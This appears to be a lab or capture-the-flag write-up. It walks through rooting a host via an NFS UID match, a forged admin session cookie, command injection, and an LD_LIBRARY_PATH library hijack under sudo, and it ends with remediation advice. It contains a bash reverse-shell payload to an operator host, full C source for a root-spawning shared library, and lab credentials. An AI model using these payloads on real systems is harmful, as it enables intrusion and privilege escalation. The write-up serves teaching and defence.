NFS UID match, session cookie forge, and LD_LIBRARY_PATH root
Intermediate misconfiguration chain: NFS share readable after matching UID 1003; FTP wordlist forged admin PHPSESSID; command injection to shell; sudo apache2 with env_keep LD_LIBRARY_PATH enabled library hijack to root.
- Case files
- NFS UID match, session cookie forge, and LD_LIBRARY_PATH root
NFS and FTP fed a password list used to forge admin session cookies. The admin service checker accepted command injection. Config credentials reused for SSH; sudo apache2 kept LD_LIBRARY_PATH for a libcrypt constructor hijack.
showmount listed /mnt/share. UID 1003 read employee notes; FTP returned a password list.
Forged admin PHPSESSID from the password list. Service checker injection opened a reverse shell; config.php reused for SSH as rick.
sudo apache2 preserved LD_LIBRARY_PATH. A constructor in libcrypt.so.1 spawned a root shell.
Engagement summary
NFS and FTP fed a password list used to forge admin session cookies. The admin service checker accepted command injection. Config credentials reused for SSH; sudo apache2 kept LD_LIBRARY_PATH for a libcrypt constructor hijack.
Host HIJACK (10.49.153.158) exported /mnt/share over NFS. Creating a local user with UID/GID 1003 allowed reading for_employees.txt (ftpuser credentials). FTP yielded .passwords_list.txt. The web app encoded sessions as base64(username:md5(password)); spraying the list forged an admin PHPSESSID. The admin “service checker” accepted shell metacharacters, giving www-data. config.php held rick / N3v3rG0nn4G1v3Y0uUp for SSH. sudo -l showed apache2 with env_keep+=LD_LIBRARY_PATH; a malicious libcrypt.so.1 constructor spawned root.
Business impact
World-exported NFS with predictable UIDs, reversible session cookies, and command injection in an admin tool are each high severity; together they are a short path to root. Lock NFS exports, use signed server-side sessions, sanitize admin inputs, and never preserve LD_LIBRARY_PATH under sudo.
NFS UID match and FTP wordlist
showmount listed /mnt/share. UID 1003 read employee notes; FTP returned a password list.
OPERATOR · NFS
savvy@lab:~$ showmount -e 10.49.153.158
/mnt/share *
savvy@lab:~$ sudo mount 10.49.153.158:/mnt/share /mnt/hijack
# create local user with uid/gid 1003 to match share ownership
savvy@lab:~$ cat /mnt/hijack/for_employees.txt
ftpuser:W3stV1rg1n14M0un741nM4m4
OPERATOR · FTP
savvy@lab:~$ ftp 10.49.153.158
Name: ftpuser
ftp> ls -la
.passwords_list.txt
ftp> get .passwords_list.txt
Session forge and command injection
Forged admin PHPSESSID from the password list. Service checker injection opened a reverse shell; config.php reused for SSH as rick.
SESSION
# cookie = base64("admin:" + md5(password))
# admin password from list: uDh3jCQsdcuLhjVkAy5x
# PHPSESSID=YWRtaW46ZDY1NzNlZDczOWFlN2ZkZmIzY2VkMTk3ZDk0ODIwYTU=OPERATOR · CMDI
# admin checker payload: ssh && bash -c "bash -i >& /dev/tcp/OPERATOR/1234 0>&1"
savvy@lab:~$ nc -lvnp 1234
savvy@lab:/var/www/html$
savvy@lab:~$ grep -E 'user|pass' config.php
rick / N3v3rG0nn4G1v3Y0uUp
savvy@lab:~$ ssh rick@10.49.153.158
LD_LIBRARY_PATH library hijack
sudo apache2 preserved LD_LIBRARY_PATH. A constructor in libcrypt.so.1 spawned a root shell.
PAYLOAD
library_path.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setreuid(0, 0);
system("/bin/bash -p");
}OPERATOR · SUDO HIJACK
savvy@lab:~$ sudo -l
(root) NOPASSWD: /usr/sbin/apache2 env_keep+=LD_LIBRARY_PATH
savvy@lab:~$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
savvy@lab:~$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Restrict NFS exports by host and squash root; use HttpOnly signed sessions; fix command injection in admin tools; remove env_keep for LD_* under sudo.